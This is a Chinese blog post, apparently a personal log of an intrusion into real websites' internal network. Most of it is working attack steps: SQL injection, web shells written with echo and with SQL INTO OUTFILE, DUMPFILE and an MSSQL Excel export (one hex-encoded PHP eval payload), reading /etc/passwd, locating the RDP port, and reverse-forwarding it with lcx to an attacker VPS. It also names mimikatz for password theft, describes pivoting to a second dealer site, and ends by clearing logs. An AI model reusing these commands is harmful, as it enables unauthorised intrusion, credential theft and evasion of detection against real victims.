您的位置:首页 > 其它

内网渗透记实

2016-04-12 09:52 337 查看
key:sa 、 os-shell 、 上传、回显
1.sqlinj
1.1 查看当前用户和当前库
1.2 查看用户相关的表,查找管理员帐号相关信息,加盐的密码,且盐加密

2.os-shell (当然可借用xp_cmd)
#找路径
dir c:\
dir d:\ #木有D盘,别放弃
dir E:\
#定位到路径
dir E:\sainuoNew\

3.getshell
#找到路径写shell,有两种方法,一种直接echo(要结合^);一种是sql语句备份的那种(MSSQL)
#echo 直接写入,只要权限够,就可以;遇到狗另说
echo ^<%eval request("360") %^>

#sql语句,mysql与mssql 不同
mysql:注意要转成十六进制(密码a)
and 1=2 union select 0x3c3f70687020a6576616c28245f504f53545b615d293ba3f3e into outfile '/alidata/www/cms/ttbdxt/conf.php'--= //注入语句
select 0x3c3f70687020a6576616c28245f504f53545b615d293ba3f3e into DUMPFILE 'E:/XXX/php.php'; //利用dumpfileshell
#mysql sql-shell 查看文件内容
select load_file('/etc/passwd')

mysql:
Create TABLE a (cmd text NOT NULL);
Insert INTO a (cmd) VALUES('<?php eval($_POST[cmd]);?>');
select cmd from a into outfile 'x:/phpMyAdmin/libraries/d.php';
Drop TABLE IF EXISTS a;

mssql:
create table cmd (a varchar(50))
insert into cmd (a) values ('<%eval request("hat")%>')
select * into [a] in 'E:\sainuoNew\x.asp;x.xls' 'excel 4.0;' from cmd
drop table cmd
直接菜刀里连接http://www.xxx.cc/x.asp;x.xls一句话 密码是hat

4.远控
windows 2003 ,不知道是否开了3389
思路:利用socks代理来全局代理搞内容进一步渗透100那台机器,但没成果,所以换了思路用lcx 反弹3389,后来得知管理员自定义修改了远程端口为2000
4.1 osshell 要在kali下进行,会更好的回显,否则windows会乱码
4.2 在osshell 中定位远程桌面的端口
tasklist /svc | findstr TermService 找到远程桌面服务对应的pid
然后根据pid找对应的端口
netstat -ano | grep pidnum



4.3 利用lcx进行反向反弹
#本次菜刀不能执行命令,利用菜刀上传lcx(看运气),上传getpass或mimicatz 获得当前用户的密码或者cmd创建高管,但本次有狗不能加入管理员组
在自己的VPS 上运行: lcx -listen 2222 3333
在目标机器上运行 : lcx -slave 119.75.217.56 2222 127.0.0.1 3389 (本次渗透其实是2000端口)
这样远程连接自己VPS的3333端口就能控制目标机器的远程桌面了



5.远控目标

远控是为了渗透100雪弗兰的网站。有安全狗,不能扫描,不能传马,所以通过101别克的网站进行的远控连接。administrator密码同



6.清空日志

看看自己想要的数据以及bak。清空日志say bye.

内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: